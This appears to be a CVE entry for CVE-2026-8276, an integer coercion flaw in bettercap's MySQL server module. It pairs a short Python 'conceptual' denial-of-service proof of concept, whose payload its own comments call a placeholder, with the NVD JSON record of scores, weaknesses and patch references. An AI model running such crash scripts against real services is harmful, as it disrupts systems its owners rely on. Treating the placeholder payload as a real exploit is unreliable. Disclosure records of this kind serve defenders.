CVE-2026-8276

import socket # Conceptual PoC for CVE-2026-8276 # Target: bettercap <= 2.41.5 MySQL Module def send_exploit(target_ip, target_port): try: # Connect to the bettercap MySQL server module s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a payload designed to trigger integer coercion. # The specific byte sequence would be derived from reversing the patch 0eaa375c. # This is a placeholder for the malicious structure. payload = b'\x00\x00\x00\x01' + b'A' * 100 print(f"[*] Sending payload to {target_ip}:{target_port}") s.send(payload) # Wait for response or timeout indicating a crash s.settimeout(2) response = s.recv(1024) print("[+] Response received, exploit might have failed.") except socket.timeout: print("[+] No response received. Service might be crashed (DoS).") except Exception as e: print(f"[-] An error occurred: {e}") finally: s.close() if __name__ == "__main__": send_exploit("192.168.1.100", 3306)

{"cve": {"id": "CVE-2026-8276", "sourceIdentifier": "[email protected]", "published": "2026-05-11T06:16:10.077", "lastModified": "2026-05-11T06:16:10.077", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in bettercap up to 2.41.5. Affected by this issue is some unknown functionality of the file modules/mysql_server/mysql_server.go of the component MySQL Server. Executing a manipulation can lead to integer coercion error. The attack can be launched remotely. The attack requires a high level of complexity. The exploitation is known to be difficult. The exploit has been published and may be used. This patch is called 0eaa375c5e5446bfba94a290eff92967a5deac9e. It is advisable to implement a patch to correct this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:N/A:P", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-189"}, {"lang": "en", "value": "CWE-192"}]}], "references": [{"url": "https://github.com/bettercap/bettercap/", "source": "[email protected]"}, {"url": "https://github.com/bettercap/bettercap/commit/0eaa375c5e5446bfba94a290eff92967a5deac9e", "source": "[email protected]"}, {"url": "https://github.com/bettercap/bettercap/issues/1265", "source": "[email protected]"}, {"url": "https://github.com/bettercap/bettercap/issues/1265#issue-4287957382", "source": "[email protected]"}, {"url": "https://github.com/bettercap/bettercap/pull/1266", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/811163", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362573", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362573/cti", "source": "[email protected]"}]}}